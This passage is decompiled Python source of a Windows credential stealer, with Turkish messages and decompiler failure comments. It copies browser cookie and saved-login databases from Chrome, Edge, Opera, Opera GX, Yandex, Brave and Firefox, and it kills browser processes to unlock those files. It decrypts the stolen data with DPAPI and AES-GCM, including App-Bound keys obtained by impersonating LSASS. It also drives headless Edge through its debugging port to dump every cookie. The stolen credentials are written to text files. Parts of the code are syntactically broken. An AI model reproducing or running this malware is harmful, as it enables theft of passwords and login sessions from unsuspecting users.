return f'[AES Error] {str(e)}'
def decrypt_edge_cookie_v20(encrypted_value, key):
# irreducible cflow, using cdg fallback
# ***<module>.decrypt_edge_cookie_v20: Failure: Compilation Error
if not encrypted_value:
return ''
else:
m_key = None
if isinstance(key, dict):
if encrypted_value.startswith(b'v20'):
m_key = key.get('v20')
else:
m_key = key.get('v10')
else:
m_key = key
if not m_key:
if encrypted_value.startswith(b'v20'):
return ''
else:
return decrypt_password(encrypted_value, None)
else:
if encrypted_value.startswith(b'v10') or encrypted_value.startswith(b'v11'):
return decrypt_password(encrypted_value, m_key)
if len(encrypted_value) < 19:
return '[Veri Çok Kısa]'
iv = encrypted_value[3:15]
ciphertext = encrypted_value[15-16)]
tag = encrypted_value[(-16):]
cipher = AES.new(m_key, AES.MODE_GCM, nonce=iv)
decrypted = cipher.decrypt_and_verify(ciphertext, tag)
if encrypted_value.startswith(b'v20') and len(decrypted) > 32:
return decrypted[32:].decode('utf-8', errors='ignore')
else:
return decrypted.decode('utf-8', errors='ignore')
except Exception as e:
return f'[AES Error] {str(e)}'
def save_cookies_netscape(name: str, cookie_file: str, key_file: str, output_path: str):
# irreducible cflow, using cdg fallback
# ***<module>.save_cookies_netscape: Failure: Compilation Error
if not browser_cookie3:
return None
with tempfile.TemporaryDirectory() as temp_dir:
temp_cookie_path = os.path.join(temp_dir, 'Cookies')
if shadow_copy:
shadow_copy(cookie_file, temp_cookie_path)
else:
shutil.copy2(cookie_file, temp_cookie_path)
cj = browser_cookie3.chromium(cookie_file=temp_cookie_path, key_file=key_file)
with open(output_path, 'w', encoding='utf-8') as f:
for cookie in cj:
domain = cookie.domain
flag = 'TRUE' if domain.startswith('.') else 'FALSE'
path = cookie.path
secure = 'TRUE' if cookie.secure else 'FALSE'
expiry = str(int(cookie.expires)) if cookie.expires else str(int(time.time() + 3600))
cname = cookie.name
value = cookie.value
f.write(f'{domain}\t{flag}\t{path}\t{secure}\t{expiry}\t{cname}\t{value}\n')
except Exception:
process_names = {'Chrome': 'chrome.exe', 'Edge': 'msedge.exe', 'Opera': 'opera.exe', 'Opera GX': 'launcher.exe', 'Yandex': 'browser.exe', 'Brave': 'brave.exe'}
proc_name = process_names.get(name, None)
if proc_name:
for p in psutil.process_iter(['name']):
if p.info['name'] and p.info['name'].lower() == proc_name.lower():
try:
p.kill()
except Exception:
pass
else:
pass
shutil.copy2(cookie_file, temp_cookie_path)
except Exception:
return None
def get_opera_cookies(output_dir=None):
# ***<module>.get_opera_cookies: Failure: Different bytecode
if not browser_cookie3:
return None
else:
opera_paths = [os.path.join(os.environ['USERPROFILE'], 'AppData', 'Roaming', 'Opera Software', 'Opera Stable'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Roaming', 'Opera Software', 'Opera'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Roaming', 'Opera Software', 'Opera Beta'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Roaming', 'Opera Software', 'Opera Developer'), os.path.join(os.getenv('APPDATA'), '..', 'Local', 'Programs', 'Opera', 'User Data')]
base = None
for path in opera_paths:
cookie_file = os.path.join(path, 'Default', 'Network', 'Cookies')
local_state_file = os.path.join(path, 'Local State')
if os.path.exists(cookie_file) and os.path.exists(local_state_file):
base = path
break
if base:
try:
if output_dir is None:
output_dir = os.getcwd()
output_file = os.path.join(output_dir, 'opera_cookies.txt')
cookie_file = os.path.join(base, 'Default', 'Network', 'Cookies')
local_state_file = os.path.join(base, 'Local State')
save_cookies_netscape('Opera', cookie_file, local_state_file, output_file)
except Exception:
return None
def get_yandex_cookies(output_dir=None):
# ***<module>.get_yandex_cookies: Failure: Different bytecode
if not browser_cookie3:
return None
else:
yandex_paths = [os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Yandex', 'YandexBrowser', 'User Data'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Yandex', 'YandexBrowser-Beta', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Yandex', 'YandexBrowser', 'User Data')]
base = None
for path in yandex_paths:
default_path = os.path.join(path, 'Default')
cookies_path = os.path.join(default_path, 'Network', 'Cookies')
local_state_path = os.path.join(path, 'Local State')
if os.path.exists(cookies_path) and os.path.exists(local_state_path):
base = path
break
if base:
try:
if output_dir is None:
output_dir = os.getcwd()
output_file = os.path.join(output_dir, 'yandex_cookies.txt')
default_path = os.path.join(base, 'Default')
cookies_path = os.path.join(default_path, 'Network', 'Cookies')
local_state_path = os.path.join(base, 'Local State')
save_cookies_netscape('Yandex', cookies_path, local_state_path, output_file)
except Exception:
return None
def get_brave_cookies(output_dir=None):
# ***<module>.get_brave_cookies: Failure: Different bytecode
if not browser_cookie3:
return []
else:
brave_paths = [os.path.join(os.getenv('LOCALAPPDATA'), 'BraveSoftware', 'Brave-Browser', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'BraveSoftware', 'Brave-Browser-Beta', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'BraveSoftware', 'Brave-Browser-Dev', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'BraveSoftware', 'Brave-Browser-Nightly', 'User Data')]
brave_path = None
for path in brave_paths:
if os.path.exists(path):
brave_path = path
break
if not brave_path:
return []
else:
if output_dir is None:
output_dir = os.getcwd()
output_file = os.path.join(output_dir, 'brave_cookies.txt')
cookies_path = os.path.join(brave_path, 'Default', 'Network', 'Cookies')
local_state_path = os.path.join(brave_path, 'Local State')
if os.path.exists(cookies_path) and os.path.exists(local_state_path):
save_cookies_netscape('Brave', cookies_path, local_state_path, output_file)
profiles = [d for d in os.listdir(brave_path) if d.startswith('Profile')]
for profile in profiles:
profile_cookies = os.path.join(brave_path, profile, 'Network', 'Cookies')
if os.path.exists(profile_cookies):
try:
save_cookies_netscape(f'Brave ({profile})', profile_cookies, local_state_path, output_file)
except Exception:
pass
def get_firefox_cookies(output_dir=None):
# irreducible cflow, using cdg fallback
# ***<module>.get_firefox_cookies: Failure: Compilation Error
if not browser_cookie3:
return None
else:
if output_dir is None:
output_dir = os.getcwd()
output_file = os.path.join(output_dir, 'firefox_cookies.txt')
cj = browser_cookie3.firefox()
with open(output_file, 'w', encoding='utf-8') as f:
for cookie in cj:
domain = cookie.domain
flag = 'TRUE' if domain.startswith('.') else 'FALSE'
path = cookie.path
secure = 'TRUE' if cookie.secure else 'FALSE'
expiry = str(int(cookie.expires)) if cookie.expires else str(int(time.time() + 3600))
cname = cookie.name
value = cookie.value
f.write(f'{domain}\t{flag}\t{path}\t{secure}\t{expiry}\t{cname}\t{value}\n')
except Exception:
return None
def get_edge_key():
# irreducible cflow, using cdg fallback
# ***<module>.get_edge_key: Failure: Compilation Error
LOCAL_APP_DATA = os.environ['LOCALAPPDATA']
edge_key_paths = [os.path.join(LOCAL_APP_DATA, 'Microsoft', 'Edge', 'User Data', 'Local State'), os.path.join(LOCAL_APP_DATA, 'Microsoft', 'Edge SxS', 'User Data', 'Local State'), os.path.join(LOCAL_APP_DATA, 'Microsoft', 'Edge Beta', 'User Data', 'Local State'), os.path.join(LOCAL_APP_DATA, 'Microsoft', 'Edge Dev', 'User Data', 'Local State')]
key_path = None
for path in edge_key_paths:
if os.path.exists(path):
key_path = path
break
if not key_path:
return None
with open(key_path, 'r', encoding='utf-8') as f:
local_state = json.load(f)
v10_key = None
if 'encrypted_key' in local_state.get('os_crypt', {}):
encoded_key = local_state['os_crypt']['encrypted_key']
try:
backup_key = base64.b64decode(encoded_key)
if backup_key.startswith(b'DPAPI'):
backup_key = backup_key[5:]
v10_key = win32crypt.CryptUnprotectData(backup_key, None, None, None, 0)[1]
except Exception as e:
log_message(f'Edge v10 backup failed: {e}')
keys = {}
if v10_key:
keys['v10'] = v10_key
if 'app_bound_encrypted_key' in local_state.get('os_crypt', {}):
log_message('Edge app_bound_encrypted_key found')
encrypted_key_raw = base64.b64decode(local_state['os_crypt']['app_bound_encrypted_key'])
if encrypted_key_raw.startswith(b'APPB'):
encrypted_key = encrypted_key_raw[4:]
else:
encrypted_key = encrypted_key_raw
key_blob_user_decrypted = None
log_message('Attempting Edge two-stage extraction (SYSTEM -> USER)')
key_blob_system_decrypted = None
with impersonate_lsass() as imp_success:
if imp_success:
res = win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)
if res and len(res) >= 2:
key_blob_system_decrypted = res[1]
log_message('Edge Stage 1 (SYSTEM) DPAPI: SUCCESS')
res2 = win32crypt.CryptUnprotectData(key_blob_system_decrypted, None, None, None, 0)
if res2 and len(res2) >= 2:
key_blob_user_decrypted = res2[1]
log_message('Edge Stage 2 (USER) DPAPI: SUCCESS')
if not key_blob_user_decrypted:
log_message('Trying Edge user-only or deferred Stage 2 decryption...')
try:
target = key_blob_system_decrypted if key_blob_system_decrypted else encrypted_key
res3 = win32crypt.CryptUnprotectData(target, None, None, None, 0)
if res3 and len(res3) >= 2:
key_blob_user_decrypted = res3[1]
log_message('Edge USER-only/Stage 2 outside: SUCCESS')
except Exception as e:
log_message(f'Edge USER-only/Stage 2 outside FAILED: {e}')
if key_blob_user_decrypted:
parsed = parse_key_blob(key_blob_user_decrypted)
if parsed:
log_message('Edge v20 Key Blob Parsed. deriving...')
m_key = derive_v20_master_key(parsed)
if m_key:
log_message('Edge v20 Master Key derived: SUCCESS')
keys['v20'] = m_key
if len(key_blob_user_decrypted) == 32:
keys['v20'] = key_blob_user_decrypted
log_message('Edge v20 Raw Key (32 bytes) found.')
return keys if keys else None
except Exception as e:
log_message(f'Edge Stage 2 (USER) inside LSASS FAILED: {e}')
except Exception as e:
log_message(f'Edge Stage 1 (SYSTEM) DPAPI FAILED: {e}')
except Exception as e:
log_message(f'Edge App-Bound complex extraction error: {e}')
except Exception as e:
log_message(f'get_edge_key failed: {e}')
def get_edge_cookies(output_dir=None):
# irreducible cflow, using cdg fallback
# ***<module>.get_edge_cookies: Failure: Compilation Error
if output_dir is None:
try:
output_dir = os.path.join(os.getcwd(), 'edge')
except Exception:
output_dir = 'edge'
os.makedirs(output_dir, exist_ok=True)
edge_paths = [os.path.join(os.getenv('LOCALAPPDATA', ''), 'Microsoft', 'Edge', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA', ''), 'Microsoft', 'Edge SxS', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA', ''), 'Microsoft', 'Edge Beta', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA', ''), 'Microsoft', 'Edge Dev', 'User Data')]
edge_path = next((p for p in edge_paths if os.path.exists(p)), None)
if not edge_path:
return []
else:
edge_exe_paths = ['C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe', 'C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe']
exe_path = next((p for p in edge_exe_paths if os.path.exists(p)), None)
if not exe_path:
return []
else:
import subprocess
import time
import requests
import json
import psutil
try:
import websocket
except ImportError:
return []
for p in psutil.process_iter(['name']):
if p.info['name'] and 'msedge.exe' in p.info['name'].lower():
p.kill()
time.sleep(1)
profiles = [p for p in os.listdir(edge_path) if p.startswith('Default') or p.startswith('Profile')]
for profile_name in profiles:
profile_path = os.path.join(edge_path, profile_name)
cookies_db_path = os.path.join(profile_path, 'Network', 'Cookies')
if os.path.isfile(cookies_db_path):
port = 9222
cmd = [exe_path, '--headless=new', '--disable-gpu', '--restore-last-session', f'--remote-debugging-port={port}', '--remote-allow-origins=*', f'--user-data-dir={edge_path}']
proc = subprocess.Popen(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
time.sleep(3)
res = requests.get(f'http://localhost:{port}/json', timeout=3)
ws_url = res.json()[0]['webSocketDebuggerUrl']
ws = websocket.create_connection(ws_url, timeout=3)
ws.send(json.dumps({'id': 1, 'method': 'Network.getAllCookies'}))
resp = json.loads(ws.recv())
cookies = resp.get('result', {}).get('cookies', [])
cookie_lines = []
for c in cookies:
domain = c.get('domain', '')
flag = 'TRUE' if domain.startswith('.') else 'FALSE'
path = c.get('path', '/')
secure = 'TRUE' if c.get('secure') else 'FALSE'
expiry = str(int(c.get('expires', time.time() + 3600)))
name = c.get('name', '')
value = c.get('value', '')
cookie_lines.append(f'{domain}\t{flag}\t{path}\t{secure}\t{expiry}\t{name}\t{value}')
ws.close()
if cookie_lines:
safe_profile_name = ''.join((ch for ch in profile_name if ch.isalnum() or ch in [' ', '_', '-'])).rstrip()
with open(os.path.join(output_dir, f'edge_cookies_{safe_profile_name}.txt'), 'w', encoding='utf-8') as f:
f.write('\n'.join(cookie_lines))
proc.kill()
for p in psutil.process_iter(['name']):
if p.info['name'] and 'msedge.exe' in p.info['name'].lower():
p.kill()
continue
except Exception:
pass
continue
except Exception:
return None
def get_opera_gx_cookies(output_dir=None):
# ***<module>.get_opera_gx_cookies: Failure: Different bytecode
if not browser_cookie3:
return []
else:
try:
opera_gx_paths = [os.path.join(os.getenv('APPDATA'), 'Opera Software', 'Opera GX Stable'), os.path.join(os.getenv('APPDATA'), '..', 'Local', 'Programs', 'Opera GX', 'User Data'), os.path.join(os.getenv('APPDATA'), '..', 'Local', 'Programs', 'Opera GX Beta', 'User Data'), os.path.join(os.getenv('APPDATA'), 'Opera Software', 'Opera GX')]
opera_gx_path = None
for path in opera_gx_paths:
if os.path.exists(path):
opera_gx_path = path
break
if not opera_gx_path:
return []
else:
if output_dir is None:
output_dir = os.getcwd()
output_file = os.path.join(output_dir, 'opera_gx_cookies.txt')
cookies_path = os.path.join(opera_gx_path, 'Default', 'Network', 'Cookies')
local_state_path = os.path.join(opera_gx_path, 'Local State')
if not os.path.exists(cookies_path) or not os.path.exists(local_state_path):
return []
else:
save_cookies_netscape('Opera GX', cookies_path, local_state_path, output_file)
return True
except Exception:
return False
def get_chrome_cookies(output_dir=None):
# ***<module>.get_chrome_cookies: Failure: Different bytecode
if not browser_cookie3:
return []
else:
try:
chrome_paths = [os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome SxS', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome Beta', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome Dev', 'User Data')]
chrome_path = None
for path in chrome_paths:
if os.path.exists(path):
chrome_path = path
break
if not chrome_path:
return []
else:
if output_dir is None:
output_dir = os.getcwd()
output_file = os.path.join(output_dir, 'chrome_cookies.txt')
save_cookies_netscape('Chrome', os.path.join(chrome_path, 'Default', 'Network', 'Cookies'), os.path.join(chrome_path, 'Local State'), output_file)
except Exception:
return None
def extract_passwords(user_data_path, output_dir, prefix):
# irreducible cflow, using cdg fallback
# ***<module>.extract_passwords: Failure: Compilation Error
if not os.path.exists(user_data_path):
fallback_paths = []
if prefix == 'edge':
fallback_paths = [os.path.join(os.getenv('LOCALAPPDATA'), 'Microsoft', 'Edge', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Microsoft', 'Edge SxS', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Microsoft', 'Edge Beta', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Microsoft', 'Edge Dev', 'User Data')]
else:
if prefix == 'chrome':
fallback_paths = [os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome SxS', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome Beta', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome Dev', 'User Data')]
else:
if prefix == 'brave':
fallback_paths = [os.path.join(os.getenv('LOCALAPPDATA'), 'BraveSoftware', 'Brave-Browser', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'BraveSoftware', 'Brave-Browser-Beta', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'BraveSoftware', 'Brave-Browser-Dev', 'User Data')]
user_data_path = None
for path in fallback_paths:
if os.path.exists(path):
user_data_path = path
break
if not user_data_path:
return None
local_state = os.path.join(user_data_path, 'Local State')
key = get_master_key(local_state)
os.makedirs(output_dir, exist_ok=True)
try:
profiles = os.listdir(user_data_path)
except Exception:
return
for profile in profiles:
pass
login_db = os.path.join(user_data_path, profile, 'Login Data')
if not os.path.isfile(login_db):
continue
with tempfile.TemporaryDirectory() as temp_dir:
pass
tmp_db = os.path.join(temp_dir, f'{prefix}_tmp.db')
if shadow_copy:
pass
shadow_copy(login_db, tmp_db)
shutil.copy2(login_db, tmp_db)
conn = sqlite3.connect(tmp_db)
cur = conn.cursor()
cur.execute('SELECT origin_url, username_value, password_value FROM logins')
rows = cur.fetchall()
lines = []
for url, user, enc_pass in rows:
pass
if not enc_pass:
pass
continue
dec = decrypt_password(enc_pass, key)
if (dec.startswith('[Çözülemedi]') or dec.startswith('[ERROR]')) and (not key):
try:
decrypted = win32crypt.CryptUnprotectData(enc_pass, None, None, None, 0)
if decrypted and len(decrypted) >= 2:
dec = decrypted[1].decode('utf-8', errors='ignore')
except Exception:
pass
if not dec.startswith('[Çözülemedi]') and (not dec.startswith('[ERROR]')):
pass
lines.append(f'_________404_MESCİDİ__________\nURL : {url}\nUsername : {user}\nPassword : {dec}\n')
cur.close()
conn.close()
if lines:
with open(os.path.join(output_dir, f'{prefix}_passwords_{profile}.txt'), 'w', encoding='utf-8') as f:
f.write('\n'.join(lines))
shutil.copy2(login_db, tmp_db)
except Exception:
pass
continue
except Exception:
pass
continue
def extract_opera_gx(output_dir=None):
# irreducible cflow, using cdg fallback
# ***<module>.extract_opera_gx: Failure: Compilation Error
opera_gx_paths = [os.path.join(os.environ['APPDATA'], 'Opera Software', 'Opera GX Stable'), os.path.join(os.environ['APPDATA'], 'Opera Software', 'Opera GX'), os.path.join(os.getenv('APPDATA'), '..', 'Local', 'Programs', 'Opera GX', 'User Data'), os.path.join(os.getenv('APPDATA'), '..', 'Local', 'Programs', 'Opera GX Beta', 'User Data')]
base_path = None
for path in opera_gx_paths:
if os.path.exists(path):
base_path = path
break
if not base_path:
return None
else:
if output_dir is None:
try:
output_dir = os.path.join(os.getcwd(), 'sifre', 'opera_gx')
except:
output_dir = 'sifre/opera_gx'
os.makedirs(output_dir, exist_ok=True)
local_state = os.path.join(base_path, 'Local State')
key = get_master_key(local_state)
try:
profiles = os.listdir(base_path)
except Exception:
return
for profile in profiles:
pass
login_db = os.path.join(base_path, profile, 'Login Data')
if not os.path.isfile(login_db):
continue
with tempfile.TemporaryDirectory() as temp_dir:
pass
tmp_db = os.path.join(temp_dir, 'opera_gx_tmp.db')
if shadow_copy:
pass
shadow_copy(login_db, tmp_db)
shutil.copy2(login_db, tmp_db)
conn = sqlite3.connect(tmp_db)
cur = conn.cursor()
cur.execute('SELECT origin_url, username_value, password_value FROM logins')
rows = cur.fetchall()
lines = []
for url, user, enc_pass in rows:
if not enc_pass:
continue
else:
dec = decrypt_password(enc_pass, key)
if (dec.startswith('[Çözülemedi]') or dec.startswith('[ERROR]')) and (not key):
try:
decrypted = win32crypt.CryptUnprotectData(enc_pass, None, None, None, 0)
if decrypted and len(decrypted) >= 2:
dec = decrypted[1].decode('utf-8', errors='ignore')
except Exception:
pass
if not dec.startswith('[Çözülemedi]') and (not dec.startswith('[ERROR]')):
lines.append(f'_________404_MESCİDİ__________\nURL : {url}\nUsername : {user}\nPassword : {dec}\n\n')
cur.close()
conn.close()
if lines:
output_file = os.path.join(output_dir, f'opera_gx_passwords_{profile}.txt')
with open(output_file, 'w', encoding='utf-8') as f:
f.write(''.join(lines))
shutil.copy2(login_db, tmp_db)
except Exception:
pass
continue
def extract_opera_stable(output_dir=None):
# irreducible cflow, using cdg fallback
# ***<module>.extract_opera_stable: Failure: Compilation Error
opera_paths = [os.path.join(os.environ['APPDATA'], 'Opera Software', 'Opera Stable'), os.path.join(os.environ['APPDATA'], 'Opera Software', 'Opera'), os.path.join(os.environ['APPDATA'], 'Opera Software', 'Opera Beta'), os.path.join(os.environ['APPDATA'], 'Opera Software', 'Opera Developer'), os.path.join(os.getenv('APPDATA'), '..', 'Local', 'Programs', 'Opera', 'User Data')]
base_path = None
for path in opera_paths:
if os.path.exists(path):
base_path = path
break
if not base_path:
return None
else:
if output_dir is None:
try:
output_dir = os.path.join(os.getcwd(), 'sifre', 'opera')
except:
output_dir = 'sifre/opera'
os.makedirs(output_dir, exist_ok=True)
local_state = os.path.join(base_path, 'Local State')
key = get_master_key(local_state)
try:
profiles = os.listdir(base_path)
except Exception:
return
for profile in profiles:
pass
login_db = os.path.join(base_path, profile, 'Login Data')
if not os.path.isfile(login_db):
continue
with tempfile.TemporaryDirectory() as temp_dir:
pass
tmp_db = os.path.join(temp_dir, 'opera_stable_tmp.db')
if shadow_copy:
pass
shadow_copy(login_db, tmp_db)
shutil.copy2(login_db, tmp_db)
conn = sqlite3.connect(tmp_db)
cur = conn.cursor()
cur.execute('SELECT origin_url, username_value, password_value FROM logins')
rows = cur.fetchall()
lines = []
for url, user, enc_pass in rows:
if not enc_pass:
continue
else:
dec = decrypt_password(enc_pass, key)
if (dec.startswith('[Çözülemedi]') or dec.startswith('[ERROR]')) and (not key):
try:
decrypted = win32crypt.CryptUnprotectData(enc_pass, None, None, None, 0)
if decrypted and len(decrypted) >= 2:
dec = decrypted[1].decode('utf-8', errors='ignore')
except Exception:
pass
if not dec.startswith('[Çözülemedi]') and (not dec.startswith('[ERROR]')):
lines.append(f'_________404_MESCİDİ__________\nURL : {url}\nUsername : {user}\nPassword : {dec}\n\n')
cur.close()
conn.close()
if lines:
output_file = os.path.join(output_dir, f'opera_passwords_{profile}.txt')
with open(output_file, 'w', encoding='utf-8') as f:
f.write(''.join(lines))
shutil.copy2(login_db, tmp_db)
except Exception:
pass
continue
def extract_yandex(output_dir=None):
# irreducible cflow, using cdg fallback
# ***<module>.extract_yandex: Failure: Compilation Error
yandex_paths = [os.path.join(os.environ['LOCALAPPDATA'], 'Yandex', 'YandexBrowser', 'User Data'), os.path.join(os.environ['LOCALAPPDATA'], 'Yandex', 'YandexBrowser-Beta', 'User Data'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Yandex', 'YandexBrowser', 'User Data')]
yandex_path = None
for path in yandex_paths:
if os.path.exists(path):
yandex_path = path
break
if not yandex_path:
return None
else:
if output_dir is None:
try:
output_dir = os.path.join(os.getcwd(), 'sifre', 'yandex')
except:
output_dir = 'sifre/yandex'
os.makedirs(output_dir, exist_ok=True)
local_state = os.path.join(yandex_path, 'Local State')
if not os.path.exists(local_state):
return None
else:
key = get_master_key(local_state)
try:
profiles = os.listdir(yandex_path)
except Exception:
return
for profile in profiles:
pass
login_db = os.path.join(yandex_path, profile, 'Login Data')
if not os.path.isfile(login_db):
continue
with tempfile.TemporaryDirectory() as temp_dir:
pass
tmp_db = os.path.join(temp_dir, 'yandex_tmp.db')
if shadow_copy:
pass
shadow_copy(login_db, tmp_db)
shutil.copy2(login_db, tmp_db)
conn = sqlite3.connect(tmp_db)
cur = conn.cursor()
cur.execute('SELECT origin_url, username_value, password_value FROM logins')
rows = cur.fetchall()
lines = []
for url, user, enc_pass in rows:
if not enc_pass:
continue
else:
dec = decrypt_password(enc_pass, key)
if (dec.startswith('[Çözülemedi]') or dec.startswith('[ERROR]')) and (not key):
try:
decrypted = win32crypt.CryptUnprotectData(enc_pass, None, None, None, 0)
if decrypted and len(decrypted) >= 2:
dec = decrypted[1].decode('utf-8', errors='ignore')
except Exception:
pass
if not dec.startswith('[Çözülemedi]') and (not dec.startswith('[ERROR]')):
lines.append(f'_________404_MESCİDİ__________\nURL : {url}\nUsername : {user}\nPassword : {dec}\n\n')
cur.close()
conn.close()
if lines:
output_file = os.path.join(output_dir, f'yandex_passwords_{profile}.txt')
with open(output_file, 'w', encoding='utf-8') as f:
f.write(''.join(lines))
shutil.copy2(login_db, tmp_db)
except Exception:
pass
continue
def decrypt_login_data(master_key, enc_value):
# irreducible cflow, using cdg fallback
# ***<module>.decrypt_login_data: Failure: Compilation Error
if not enc_value:
return '[Boş Veri]'
if not master_key:
if windows:
try:
return windows.crypto.dpapi.unprotect(enc_value).decode('utf-8', errors='ignore')
except:
pass
else:
pass
decrypted = win32crypt.CryptUnprotectData(enc_value, None, None, None, 0)
if decrypted and len(decrypted) >= 2:
return decrypted[1].decode('utf-8', errors='ignore')
return '[Master Key Yok]'
if isinstance(master_key, dict):
if enc_value.startswith(b'v20'):
m_key = master_key.get('v20')
else:
m_key = master_key.get('v10')
else:
m_key = master_key
if not m_key:
return '[Master Key Eksik]'
else:
if not enc_value.startswith(b'v10') and (not enc_value.startswith(b'v11')) and (not enc_value.startswith(b'v20')):
if windows:
try:
return windows.crypto.dpapi.unprotect(enc_value).decode('utf-8', errors='ignore')
except:
pass
else:
pass
else:
iv = enc_value[3:15]
payload = enc_value[15:]
try:
ciphertext = payload[-16)]
tag = payload[(-16):]
cipher = AES.new(m_key, AES.MODE_GCM, nonce=iv)
decrypted = cipher.decrypt_and_verify(ciphertext, tag)
if enc_value.startswith(b'v20') and len(decrypted) > 32:
return decrypted[32:].decode('utf-8', errors='ignore')
else:
return decrypted.decode('utf-8', errors='ignore')
except Exception as e:
return f'[AES ERROR] {str(e)}'
decrypted = win32crypt.CryptUnprotectData(enc_value, None, None, None, 0)
if decrypted and len(decrypted) >= 2:
return decrypted[1].decode('utf-8', errors='ignore')
return '[Bilinmeyen Şifreleme]'
return '[Master Key Yok]'
return '[Bilinmeyen Şifreleme]'
def process_chrome_data(output_root):
# irreducible cflow, using cdg fallback
# ***<module>.process_chrome_data: Failure: Compilation Error
chrome_paths = [os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Google', 'Chrome', 'User Data'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Google', 'Chrome SxS', 'User Data'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Google', 'Chrome Beta', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome SxS', 'User Data')]
local_state_path = None
for chrome_path in chrome_paths:
test_path = os.path.join(chrome_path, 'Local State')
if os.path.exists(test_path):
local_state_path = test_path
break
if not local_state_path:
return None
with open(local_state_path, 'r', encoding='utf-8') as f:
local_state = json.load(f)
if 'os_crypt' not in local_state:
return
master_key = get_master_key(local_state_path)
if not master_key:
return
process_chrome_passwords(output_root, master_key)
process_chrome_cookies(output_root, master_key)
except Exception:
return None
def process_chrome_passwords(output_root, master_key):
# irreducible cflow, using cdg fallback
# ***<module>.process_chrome_passwords: Failure: Compilation Error
chrome_paths = [os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Google', 'Chrome', 'User Data'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Google', 'Chrome SxS', 'User Data'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Google', 'Chrome Beta', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome SxS', 'User Data')]
user_data_dir = None
for path in chrome_paths:
if os.path.exists(path):
user_data_dir = path
break
if not user_data_dir:
return None
else:
passwords_output = os.path.join(output_root, 'Passwords')
os.makedirs(passwords_output, exist_ok=True)
profiles = os.listdir(user_data_dir)
for profile in profiles:
login_data_path = os.path.join(user_data_dir, profile, 'Login Data')
if not os.path.exists(login_data_path):
continue
with tempfile.TemporaryDirectory() as temp_dir:
temp_login_path = os.path.join(temp_dir, 'LoginData')
if shadow_copy:
shadow_copy(login_data_path, temp_login_path)
shutil.copy2(login_data_path, temp_login_path)
with sqlite3.connect(temp_login_path) as con:
cur = con.cursor()
cur.execute('SELECT origin_url, username_value, password_value FROM logins')
rows = cur.fetchall()
if rows:
filename = 'chrome_passwords.txt' if profile == 'Default' else f'chrome_{profile}_passwords.txt'
with open(os.path.join(passwords_output, filename), 'w', encoding='utf-8') as f:
for url, user, enc_pass in rows:
if not enc_pass:
continue
else:
password = None
if master_key and (enc_pass.startswith(b'v10') or enc_pass.startswith(b'v11') or enc_pass.startswith(b'v20')):
password = decrypt_login_data(master_key, enc_pass)
if (not password or password.startswith('[ERROR]') or password.startswith('[Çözülemedi]')) and windows:
try:
password = windows.crypto.dpapi.unprotect(enc_pass).decode('utf-8', errors='ignore')
except Exception:
pass
if not password or password.startswith('[ERROR]') or password.startswith('[Çözülemedi]'):
try:
decrypted = win32crypt.CryptUnprotectData(enc_pass, None, None, None, 0)
if decrypted and len(decrypted) >= 2:
password = decrypted[1].decode('utf-8', errors='ignore')
except Exception:
password = '[Çözülemedi]'
if password and (not password.startswith('[Çözülemedi]')):
f.write(f'_________404_MESCİDİ__________\nURL : {url}\nUsername : {user}\nPassword : {password}\n\n')
shutil.copy2(login_data_path, temp_login_path)
except Exception:
continue
except Exception:
return None
def process_chrome_cookies(output_root, master_key):
# irreducible cflow, using cdg fallback
# ***<module>.process_chrome_cookies: Failure: Compilation Error
chrome_paths = [os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Google', 'Chrome', 'User Data'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Google', 'Chrome SxS', 'User Data'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Google', 'Chrome Beta', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome SxS', 'User Data')]
user_data_dir = None
for path in chrome_paths:
if os.path.exists(path):
user_data_dir = path
break
if not user_data_dir:
return None
